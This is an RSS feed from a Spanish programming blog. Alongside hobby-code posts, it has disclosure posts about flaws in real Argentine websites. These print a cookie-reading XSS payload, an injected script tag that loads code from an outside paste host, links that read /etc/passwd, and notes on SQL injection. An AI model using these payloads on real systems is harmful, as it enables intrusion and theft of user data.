<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:creativeCommons="http://backend.userland.com/creativeCommonsRssModule">

<channel>
	<title>Mahadeva &#187; Programación</title>
	<atom:link href="http://www.patriciomolina.com/category/programacion/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.patriciomolina.com</link>
	<description>Blog de Patricio Molina</description>
	<lastBuildDate>Mon, 06 Feb 2012 06:29:40 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<creativeCommons:license>http://creativecommons.org/licenses/by-sa/2.5/ar/</creativeCommons:license>		<item>
		<title>Eight queens puzzle en GitHub</title>
		<link>http://www.patriciomolina.com/2011/03/eight-queens-puzzle-en-github/</link>
		<comments>http://www.patriciomolina.com/2011/03/eight-queens-puzzle-en-github/#comments</comments>
		<pubDate>Sun, 20 Mar 2011 00:09:08 +0000</pubDate>
		<dc:creator>Pato</dc:creator>
				<category><![CDATA[Programación]]></category>
		<category><![CDATA[ajedrez]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[eqp]]></category>
		<category><![CDATA[github]]></category>
		<category><![CDATA[jquery]]></category>

		<guid isPermaLink="false">http://www.patriciomolina.com/?p=756</guid>
		<description><![CDATA[Subí el código del eight queens puzzle, posteado hace un par de meses en este blog, a GitHub. El repo es https://github.com/pmolina/eqp.]]></description>
			<content:encoded><![CDATA[<p>Subí el código del <em><a href="http://www.patriciomolina.com/2010/12/acertijo-de-las-ocho-reinas-con-jquery/">eight queens puzzle</a></em>, posteado hace un par de meses en este blog, a <a href="http://github.com/">GitHub</a>.</p>
<p>El repo es <a href="https://github.com/pmolina/eqp">https://github.com/pmolina/eqp</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.patriciomolina.com/2011/03/eight-queens-puzzle-en-github/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Acertijo de las ocho reinas con jQuery</title>
		<link>http://www.patriciomolina.com/2010/12/acertijo-de-las-ocho-reinas-con-jquery/</link>
		<comments>http://www.patriciomolina.com/2010/12/acertijo-de-las-ocho-reinas-con-jquery/#comments</comments>
		<pubDate>Fri, 10 Dec 2010 21:52:06 +0000</pubDate>
		<dc:creator>Pato</dc:creator>
				<category><![CDATA[Programación]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[eight queens puzzle]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[jquery]]></category>
		<category><![CDATA[ocho reinas]]></category>

		<guid isPermaLink="false">http://www.patriciomolina.com/?p=681</guid>
		<description><![CDATA[El acertijo de las ocho reinas es un problema didáctico en donde se busca colocar ocho reinas en un tablero de ajedrez de forma tal que ninguna de ellas se ataquen entre sí a través de sus movimientos estándar. Por &#8230; <a href="http://www.patriciomolina.com/2010/12/acertijo-de-las-ocho-reinas-con-jquery/">Sigue leyendo <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>El <strong>acertijo de las ocho reinas</strong> es un <a href="http://es.wikipedia.org/wiki/Problema_did%C3%A1ctico">problema didáctico</a> en donde se busca colocar ocho reinas en un tablero de ajedrez de forma tal que <strong>ninguna de ellas se ataquen entre sí</strong> a través de sus movimientos estándar. Por lo tanto, la solución requiere que las reinas no compartan su filas, columnas y diagonales con las demás. Fue propuesto por el ajedrecista alemán <a href="http://en.wikipedia.org/wiki/Max_Bezzel">Max Bezzel</a> en 1848. Existe un <a href="http://en.wikipedia.org/wiki/Eight_queens_puzzle">excelente artículo en Wikipedia</a> con más información sobre este problema y sus estrategias de solución.</p>
<p>Tuve que crear una versión en C++ de este programa y me pareció interesante hacerlo &#8220;para la web&#8221;, así que en una noche de insomnio lo cociné con jQuery y algo de CSS. Pueden jugarlo haciendo clic en el siguiente enlace: <strong><a href="http://www.patriciomolina.com/samples/eqp/"><em>eight queens puzzle</em></a></strong>.</p>
<p>El código del juego se encuentra liberado bajo una licencia <a href="http://creativecommons.org/licenses/by-sa/2.5/ar/">Creative Commons By-SA</a> (como el resto de mi blog) y la imagen de la reina la saqué de <a href="http://meta.wikimedia.org/wiki/File:Chess_qlt45.svg">Wikimedia Commons</a> (bajo <a href="http://en.wikipedia.org/wiki/Wikipedia:Text_of_the_GNU_Free_Documentation_License">licencia GFDL</a> y compatibles).</p>
<p style="text-align: center;"><a href="http://www.patriciomolina.com/samples/eqp/"><img class="aligncenter size-full wp-image-682" title="Eight queens puzzle" src="http://www.patriciomolina.com/wp-content/uploads/2010/12/eqp.gif" alt="" width="416" height="420" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.patriciomolina.com/2010/12/acertijo-de-las-ocho-reinas-con-jquery/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Vulnerabilidades en el sitio web de la Sociedad Rural Argentina</title>
		<link>http://www.patriciomolina.com/2010/07/vulnerabilidades-en-el-sitio-web-de-la-sociedad-rural-argentina/</link>
		<comments>http://www.patriciomolina.com/2010/07/vulnerabilidades-en-el-sitio-web-de-la-sociedad-rural-argentina/#comments</comments>
		<pubDate>Sun, 01 Aug 2010 01:40:31 +0000</pubDate>
		<dc:creator>Pato</dc:creator>
				<category><![CDATA[Programación]]></category>

		<guid isPermaLink="false">http://www.patriciomolina.com/?p=489</guid>
		<description><![CDATA[XSS El cross-site scripting ya es un clásico. Para probarlo coloquen la siguiente línea en el buscador: &#60;script type=&#8221;text/javascript&#8221;&#62;alert(document.cookie);&#60;/script&#62;. Las variantes de uso son practicamente ilimitadas. SQL Injection También en el buscador. Colocando un simple apóstrofo (&#8216;) el query se &#8230; <a href="http://www.patriciomolina.com/2010/07/vulnerabilidades-en-el-sitio-web-de-la-sociedad-rural-argentina/">Sigue leyendo <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><strong>XSS</strong></p>
<p>El <em><a href="http://es.wikipedia.org/wiki/Cross-site_scripting">cross-site scripting</a></em> ya es un clásico. Para probarlo coloquen la siguiente línea en el buscador: <span style="font-family: monospace;">&lt;script type=&#8221;text/javascript&#8221;&gt;alert(document.cookie);&lt;/script&gt;</span>. Las variantes de uso son practicamente ilimitadas.</p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-490" style="border-style: initial; border-color: initial; border-width: 0px;" title="sra_xss" src="http://www.patriciomolina.com/wp-content/uploads/2010/07/sra_xss.gif" alt="" width="398" height="157" /></p>
<p><strong>SQL Injection</strong></p>
<p>También en el buscador. Colocando un simple <a href="http://es.wikipedia.org/wiki/Ap%C3%B3strofo">apóstrofo</a> (&#8216;) el <em>query</em> se &#8220;pincha&#8221;. Acá pueden entrar <em>subqueries</em> con instrucciones <tt><a href="http://dev.mysql.com/doc/refman/5.1/en/drop-table.html">DROP TABLE</a></tt> o cosas peores.</p>
<p><strong>Includes inseguros</strong></p>
<p>Acá es cuando apagamos la luz, cerramos todo y nos fuimos a la mierda (?)</p>
<p>Un <a href="http://www.sra.org.ar/web/plantilla1.php?p=/etc/passwd">link</a> y una imagen (por si lo arreglan antes de tiempo) valen más que cualquier explicación en palabras. Los entendidos se darán cuenta rápidamente de la gravedad del asunto. Acá hay otro ejemplo donde podés ver el archivo <a href="http://www.sra.org.ar/web/plantilla1.php?p=/etc/hosts">/etc/hosts</a>.</p>
<p style="text-align: center;"><a href="http://www.patriciomolina.com/wp-content/uploads/2010/07/includes.jpg"><img class="aligncenter size-medium wp-image-491" title="includes" src="http://www.patriciomolina.com/wp-content/uploads/2010/07/includes-300x176.jpg" alt="" width="300" height="176" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.patriciomolina.com/2010/07/vulnerabilidades-en-el-sitio-web-de-la-sociedad-rural-argentina/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Django server en iPod/iPhone</title>
		<link>http://www.patriciomolina.com/2010/05/django-server-en-ipodiphone/</link>
		<comments>http://www.patriciomolina.com/2010/05/django-server-en-ipodiphone/#comments</comments>
		<pubDate>Mon, 17 May 2010 01:58:27 +0000</pubDate>
		<dc:creator>Pato</dc:creator>
				<category><![CDATA[Programación]]></category>
		<category><![CDATA[apple]]></category>
		<category><![CDATA[django]]></category>
		<category><![CDATA[iphone]]></category>
		<category><![CDATA[ipod]]></category>
		<category><![CDATA[jailbreak]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://www.patriciomolina.com/?p=423</guid>
		<description><![CDATA[Requisitos: Tener &#8220;jailbreakeado&#8221; el iPod/iPhone Instalar OpenSSH, Python y wget usando Cydia Pasos: Accedemos por SSH a nuestro iPod/iPhone usando la red WiFi (ejemplo: $ ssh root@192.168.1.102) $ cd /User/Documents/ $ wget http://www.djangoproject.com/download/1.1.1/tarball/ $ tar xzfv Django-1.1.1.tar.gz $ cd Django-1.1.1 &#8230; <a href="http://www.patriciomolina.com/2010/05/django-server-en-ipodiphone/">Sigue leyendo <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Requisitos:</p>
<ul>
<li>Tener &#8220;jailbreakeado&#8221; el iPod/iPhone</li>
<li>Instalar OpenSSH, Python y wget usando <a href="http://cydia.saurik.com/">Cydia</a></li>
</ul>
<p>Pasos:</p>
<ul>
<li>Accedemos por SSH a nuestro iPod/iPhone usando la red WiFi (ejemplo: <tt>$ ssh root@192.168.1.102)</tt></li>
<li><tt>$ cd /User/Documents/</tt></li>
<li><tt>$ wget http://www.djangoproject.com/download/1.1.1/tarball/</tt></li>
<li><tt>$ tar xzfv Django-1.1.1.tar.gz</tt></li>
<li><tt>$ cd Django-1.1.1</tt></li>
<li><tt>$ python setup.py install</tt></li>
</ul>
<p>Ahora creamos un proyecto en /User/Documents/ para probar:</p>
<ul>
<li><tt>$ cd /User/Documents/</tt></li>
<li><tt>$ django-admin.py startproject miproyecto</tt></li>
<li><tt>$ python miproyecto/manage.py runserver</tt></li>
</ul>
<p>¡Listo! Ya tienen un servidor de desarrollo que pueden llevar en el bolsillo</p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-424" title="ipod-django" src="http://www.patriciomolina.com/wp-content/uploads/2010/05/ipod-django.png" alt="" width="432" height="288" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.patriciomolina.com/2010/05/django-server-en-ipodiphone/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Twitter Search + jQuery actualizado</title>
		<link>http://www.patriciomolina.com/2010/03/twitter-search-jquery-actualizado/</link>
		<comments>http://www.patriciomolina.com/2010/03/twitter-search-jquery-actualizado/#comments</comments>
		<pubDate>Sun, 21 Mar 2010 06:17:50 +0000</pubDate>
		<dc:creator>Pato</dc:creator>
				<category><![CDATA[Programación]]></category>

		<guid isPermaLink="false">http://www.patriciomolina.com/?p=385</guid>
		<description><![CDATA[Corregí un pequeño bug en el script que publiqué hace unos meses (ese que usa la API de Twitter y jQuery para mostrar tweets relacionados a un parámetro de búsqueda). De paso cambié la librería de jQuery (1.4.2) y le hice &#8230; <a href="http://www.patriciomolina.com/2010/03/twitter-search-jquery-actualizado/">Sigue leyendo <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Corregí un pequeño bug en el <em>script</em> que <a href="http://www.patriciomolina.com/2009/09/mostrando-busquedas-de-twitter-en-una-pagina-web-con-jquery/">publiqué hace unos meses</a> (ese que usa la <a href="http://apiwiki.twitter.com/Twitter-Search-API-Method:-search">API de Twitter</a> y <a href="http://jquery.com/">jQuery</a> para mostrar <em>tweets</em> relacionados a un parámetro de búsqueda).</p>
<p>De paso cambié la librería de jQuery (1.4.2) y le hice algunas mejores estéticas (acá está la <a href="http://www.patriciomolina.com/samples/twitter_search/">demo</a>).</p>
<p><em>Enjoy!</em></p>
<p style="text-align: center;"><a href="http://www.patriciomolina.com/wp-content/uploads/2010/03/twitter_search1.1.png"><img class="aligncenter size-large wp-image-386" title="twitter_search1.1" src="http://www.patriciomolina.com/wp-content/uploads/2010/03/twitter_search1.1-1024x606.png" alt="" width="491" height="291" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.patriciomolina.com/2010/03/twitter-search-jquery-actualizado/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>XSS en el sitio del Ministerio de Salud</title>
		<link>http://www.patriciomolina.com/2010/02/xss-en-el-sitio-del-ministerio-de-salud/</link>
		<comments>http://www.patriciomolina.com/2010/02/xss-en-el-sitio-del-ministerio-de-salud/#comments</comments>
		<pubDate>Thu, 18 Feb 2010 17:27:59 +0000</pubDate>
		<dc:creator>Pato</dc:creator>
				<category><![CDATA[Programación]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[ministerio de salud]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.patriciomolina.com/?p=323</guid>
		<description><![CDATA[Hace un par de días descubrí una vulnerabilidad XSS bastante común en el sitio web del Ministerio de Salud de la Nación. Me sorprende que una vulnerabilidad tan evidente esté presente en uno de los sitios más importantes de nuestra administración &#8230; <a href="http://www.patriciomolina.com/2010/02/xss-en-el-sitio-del-ministerio-de-salud/">Sigue leyendo <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Hace un par de días descubrí una vulnerabilidad <a href="http://es.wikipedia.org/wiki/Cross-site_scripting">XSS</a> bastante común en el sitio web del <a href="http://www.msal.gov.ar/">Ministerio de Salud de la Nación</a>.</p>
<p>Me sorprende que una vulnerabilidad tan evidente esté presente en uno de los sitios más importantes de nuestra administración pública. Como se podrán imaginar, los sitios gubernamentales son objetivos de alto riesgo en el campo de la seguridad informática, por lo que debería someterse a los más estrictos controles durante su desarrollo y su posterior mantenimiento.</p>
<p>Después de todo, &#8220;<em>cross-site scripting</em> (XSS) es una de las vulnerabilidades más predominantes, obstinadas y peligrosas en las aplicaciones web&#8221;<sup>1</sup>.</p>
<p><strong>¿En qué consiste la vulnerabilidad?</strong></p>
<p>Un usuario realiza una búsqueda en el sitio y la búsqueda original se le vuelve a presentar en un campo de texto junto a los resultados. Por ejemplo:</p>
<p><a href="http://www.patriciomolina.com/wp-content/uploads/2010/02/xss1.png"><img class="aligncenter size-full wp-image-366" title="xss1" src="http://www.patriciomolina.com/wp-content/uploads/2010/02/xss1.png" alt="Búsqueda en el Ministerio de Salud de la Nación" width="406" height="113" /></a></p>
<p>El código del campo de texto es el siguiente:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="html4strict" style="font-family:monospace;"><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;txtBusqueda2&quot;</span> <span style="color: #000066;">size</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;40&quot;</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text&quot;</span> <span style="color: #000066;">value</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;hospitales del chaco&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span></pre></td></tr></table></div>

<p>El problema se encuentra en la impresión de esa búsqueda original: los caracteres &lt; y &gt; (apertura y cierre de etiquetas HTML) <strong>no son convertidos a sus respectivas <a href="http://www.w3schools.com/tags/ref_entities.asp">entidades</a></strong>.</p>
<p>Parece un detalle menor, pero es un enorme agujero de seguridad que permite ejecutar código  arbitrario y comprometer seriamente la información de sus usuarios. Por ejemplo, si uno busca:</p>
<p style="text-align: center;"><tt>" /&gt;&lt;script type="text/javascript" src="<a href="http://fpaste.org/GVwV/raw/">http://fpaste.org/GVwV/raw/</a>"&gt;&lt;/script&gt;&lt;input type="hidden" value="</tt></p>
<p>Se obtiene:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="html4strict" style="font-family:monospace;"><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;txtBusqueda2&quot;</span> <span style="color: #000066;">size</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;40&quot;</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text&quot;</span> <span style="color: #000066;">value</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot; &quot;</span> <span style="color: #66cc66;">/</span>&gt;&lt;<span style="color: #000000; font-weight: bold;">script</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text/javascript&quot;</span> <span style="color: #000066;">src</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://fpaste.org/GVwV/raw/&quot;</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">script</span>&gt;&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;hidden&quot;</span> <span style="color: #000066;">value</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot; &quot;</span> <span style="color: #66cc66;">/</span>&gt;</span></pre></td></tr></table></div>

<p>Y, por consiguiente (clic para agrandar):</p>
<p style="text-align: center;"><a href="http://www.patriciomolina.com/wp-content/uploads/2010/02/xss2.png"><img class="aligncenter size-full wp-image-368" title="xss2" src="http://www.patriciomolina.com/wp-content/uploads/2010/02/xss2.png" alt="XSS en el Ministerio de Salud de la Nación" width="500" height="302" /></a></p>
<p><strong>¿Qué consecuencias puede ocasionar esta vulnerabilidad?</strong></p>
<ul>
<li>Se puede esconder una URL maliciosa con un <a href="http://en.wikipedia.org/wiki/URL_shortening">acortador de URL</a> que redirija a la víctima hacia el sitio vulnerable junto con un <tt>POST</tt> de búsqueda que permita ejecutar código arbitrario.</li>
<li>Se podría obtener datos de sesión, credenciales de correo electrónico, acceso a paneles de administración, etcétera.</li>
<li>Si se añaden las librerías adecuadas (como jQuery), es posible enviar estos datos a nuestros servidores de forma transparente, sin que el usuario se percate del ataque, y almacenarlos para su uso posterior.</li>
</ul>
<p>La vulnerabilidad fue reportada oportunamente, pero no obtuve respuesta (como suele suceder en el 95% de los casos). Espero que lo solucionen antes de que sea demasiado tarde.</p>
<p><small>1 &#8211; Fragmento de &#8220;<em><a href="http://cwe.mitre.org/top25/#CWE-79">Failure to Preserve Web Page Structure (&#8216;Cross-site Scripting&#8217;)</a></em>&#8220;, publicado en <em><a href="http://cwe.mitre.org/top25/">2010 CWE/SANS Top 25 Most Dangerous Programming Errors</a></em>.</small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.patriciomolina.com/2010/02/xss-en-el-sitio-del-ministerio-de-salud/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>XSS y SQL Injection en Infobae.com</title>
		<link>http://www.patriciomolina.com/2010/02/xss-y-sql-injection-en-infobae-com/</link>
		<comments>http://www.patriciomolina.com/2010/02/xss-y-sql-injection-en-infobae-com/#comments</comments>
		<pubDate>Fri, 05 Feb 2010 19:51:46 +0000</pubDate>
		<dc:creator>Pato</dc:creator>
				<category><![CDATA[Programación]]></category>
		<category><![CDATA[fail]]></category>
		<category><![CDATA[infobae]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.patriciomolina.com/?p=307</guid>
		<description><![CDATA[Ayer me puse a revisar Infobae en búsqueda de agujeros XSS, y grata fue mi sorpresa cuando encontré una falla en el primer intento. Y eso no es todo. Profundizando un poco más, encontré algo más grave: Las líneas de &#8230; <a href="http://www.patriciomolina.com/2010/02/xss-y-sql-injection-en-infobae-com/">Sigue leyendo <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Ayer me puse a revisar <a href="http://www.infobae.com/interior/home.html">Infobae</a> en búsqueda de <a href="http://es.wikipedia.org/wiki/Cross-site_scripting">agujeros XSS</a>, y grata fue mi sorpresa cuando encontré una falla en el primer intento.</p>
<p><a href="http://www.patriciomolina.com/wp-content/uploads/2010/02/infobae2.png"><img class="aligncenter size-full wp-image-308" title="infobae2" src="http://www.patriciomolina.com/wp-content/uploads/2010/02/infobae2.png" alt="" width="395" height="371" /></a></p>
<p>Y eso no es todo. Profundizando un poco más, encontré algo más grave:</p>
<ol>
<li>Las líneas de <em>debugging</em> son públicas</li>
<li>Están imprimiendo consultas de SQL en comentarios HTML</li>
<li><strong>No están escapando caracteres en las consultas SQL</strong></li>
</ol>
<p style="text-align: center;"><a href="http://www.patriciomolina.com/wp-content/uploads/2010/02/infobae1.png"><img class="aligncenter size-full wp-image-309" title="infobae1" src="http://www.patriciomolina.com/wp-content/uploads/2010/02/infobae1.png" alt="" width="450" height="306" /></a></p>
<p style="text-align: left;">Este último punto significa que cualquier persona puede realizar <a href="http://es.wikipedia.org/wiki/Inyecci%C3%B3n_SQL">inyecciones SQL</a><sup>1</sup>, o sea:</p>
<ol>
<li>Obtener información sensible de los usuarios registrados en Infobae, como nombres de usuario, números de DNI, direcciones de correo electrónico, contraseñas (si no están encriptadas o si utilizan <a href="http://en.wikipedia.org/wiki/Md5#Collision_vulnerability">hashes md5 reversibles</a><sup>2</sup>), etc.</li>
<li>Modificar información del diario, como el título de la portada principal (un amigo me sugirió que ponga &#8220;Encontraron las manos de Perón&#8221;)</li>
<li>Vaciar (<tt>TRUNCATE</tt>) o eliminar (<tt>DROP</tt>) tablas y bases de datos completas.</li>
</ol>
<p style="text-align: left;">Quise contactarme con ellos, pero la <a href="http://www.infobae.com/herramientas/escribanos.php">página de contacto</a> del diario <strong>no anda</strong>, así que les envié un mail con una descripción del problema (nunca me contestaron). Para que sepan: pasaron 24 horas y <strong>los agujeros no fueron parcheados</strong>.</p>
<p style="text-align: left;"><a href="http://www.patriciomolina.com/wp-content/uploads/2010/02/security-fail.jpg"><img class="aligncenter size-full wp-image-310" title="security-fail" src="http://www.patriciomolina.com/wp-content/uploads/2010/02/security-fail.jpg" alt="" width="380" height="344" /></a></p>
<p><small>1 &#8211; Es posible que utilicen usuarios con <a href="http://dev.mysql.com/doc/refman/5.0/es/privilege-system.html">jerarquía de privilegios</a>, aunque lo dudo.</small><br />
<small>2 &#8211; &#8220;<em>Recently, a number of projects have created MD5 rainbow tables which are easily accessible online, and can be used to reverse many MD5 hashes into strings that collide with the original input, usually for the purposes of password cracking</em>&#8221; (Wikipedia)</small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.patriciomolina.com/2010/02/xss-y-sql-injection-en-infobae-com/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Identificando posibles &#8220;drops&#8221; de usuarios de Twitter, con Python</title>
		<link>http://www.patriciomolina.com/2010/01/identificando-posibles-drops-de-usuarios-de-twitter-con-python/</link>
		<comments>http://www.patriciomolina.com/2010/01/identificando-posibles-drops-de-usuarios-de-twitter-con-python/#comments</comments>
		<pubDate>Thu, 21 Jan 2010 19:59:01 +0000</pubDate>
		<dc:creator>Pato</dc:creator>
				<category><![CDATA[Programación]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://www.patriciomolina.com/?p=294</guid>
		<description><![CDATA[Hace un par de días se supo que Twitter liberará aquellos nombres de usuario que no hayan registrado actividad durante 6 meses o más. Les dejo una herramienta para obtener los días de inactividad de un usuario a través de &#8230; <a href="http://www.patriciomolina.com/2010/01/identificando-posibles-drops-de-usuarios-de-twitter-con-python/">Sigue leyendo <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Hace un par de días <a href="http://thenextweb.com/socialmedia/2010/01/19/twitter-username-goldrush/">se supo</a> que <a href="http://twitter.com/">Twitter</a> liberará aquellos nombres de usuario que no hayan registrado actividad durante 6 meses o más.</p>
<p>Les dejo una herramienta para obtener los días de inactividad de un usuario a través de su último <em>status</em> publicado. Esta <a href="http://es.wikipedia.org/wiki/Clase_(inform%C3%A1tica)">clase</a> puede ser utilizada, por ejemplo, para recorrer <a href="http://wordlist.sourceforge.net/">listados de palabras</a> en búsqueda de nombres valiosos.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
</pre></td><td class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">import</span> twitter
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">sys</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">urllib2</span>
<span style="color: #ff7700;font-weight:bold;">from</span> <span style="color: #dc143c;">datetime</span> <span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">datetime</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">class</span> UnknownUser<span style="color: black;">&#40;</span><span style="color: #008000;">Exception</span><span style="color: black;">&#41;</span>:
    <span style="color: #ff7700;font-weight:bold;">pass</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">class</span> UnknownStatus<span style="color: black;">&#40;</span><span style="color: #008000;">Exception</span><span style="color: black;">&#41;</span>:
    <span style="color: #ff7700;font-weight:bold;">pass</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">class</span> TwitterExpire<span style="color: black;">&#40;</span><span style="color: #008000;">object</span><span style="color: black;">&#41;</span>:
    <span style="color: #ff7700;font-weight:bold;">def</span> <span style="color: #0000cd;">__init__</span><span style="color: black;">&#40;</span><span style="color: #008000;">self</span><span style="color: black;">&#41;</span>:
        <span style="color: #008000;">self</span>.__t = twitter.<span style="color: black;">Api</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">def</span> verify<span style="color: black;">&#40;</span><span style="color: #008000;">self</span>, username<span style="color: black;">&#41;</span>:
        <span style="color: #ff7700;font-weight:bold;">try</span>:
            <span style="color: #dc143c;">user</span> = <span style="color: #008000;">self</span>.__t.<span style="color: black;">GetUser</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">user</span>=username<span style="color: black;">&#41;</span>
        <span style="color: #ff7700;font-weight:bold;">except</span> <span style="color: #dc143c;">urllib2</span>.<span style="color: black;">HTTPError</span>:
            <span style="color: #ff7700;font-weight:bold;">raise</span> UnknownUser
        <span style="color: #ff7700;font-weight:bold;">else</span>:
            status = <span style="color: #dc143c;">user</span>.<span style="color: black;">GetStatus</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
            <span style="color: #ff7700;font-weight:bold;">if</span> status:
                timestamp = status.<span style="color: black;">GetCreatedAtInSeconds</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
                d = <span style="color: #dc143c;">datetime</span>.<span style="color: black;">fromtimestamp</span><span style="color: black;">&#40;</span>timestamp<span style="color: black;">&#41;</span>
                td = <span style="color: #dc143c;">datetime</span>.<span style="color: black;">now</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span> - d
                <span style="color: #ff7700;font-weight:bold;">return</span> td
            <span style="color: #ff7700;font-weight:bold;">else</span>:
                <span style="color: #ff7700;font-weight:bold;">raise</span> UnknownStatus
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> main<span style="color: black;">&#40;</span>username<span style="color: black;">&#41;</span>:
    te = TwitterExpire<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">try</span>:
        result = te.<span style="color: black;">verify</span><span style="color: black;">&#40;</span>username<span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">except</span> UnknownUser:
        <span style="color: #ff7700;font-weight:bold;">print</span> u<span style="color: #483d8b;">&quot;User '%s' doesn't exist&quot;</span> <span style="color: #66cc66;">%</span> username
    <span style="color: #ff7700;font-weight:bold;">except</span> UnknownStatus:
        <span style="color: #ff7700;font-weight:bold;">print</span> u<span style="color: #483d8b;">&quot;Couldn't find any status for '%s'&quot;</span> <span style="color: #66cc66;">%</span> username
    <span style="color: #ff7700;font-weight:bold;">else</span>:
        <span style="color: #ff7700;font-weight:bold;">print</span> result
&nbsp;
<span style="color: #ff7700;font-weight:bold;">if</span> __name__ == <span style="color: #483d8b;">'__main__'</span>:
    <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#41;</span> <span style="color: #66cc66;">&amp;</span>gt<span style="color: #66cc66;">;</span>= <span style="color: #ff4500;">2</span>:
        main<span style="color: black;">&#40;</span>username=<span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span></pre></td></tr></table></div>

<p>Algunos resultados:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">mahadeva@blue:~$ python2.5 last_status.py patito
258 days, 11:16:49.425212
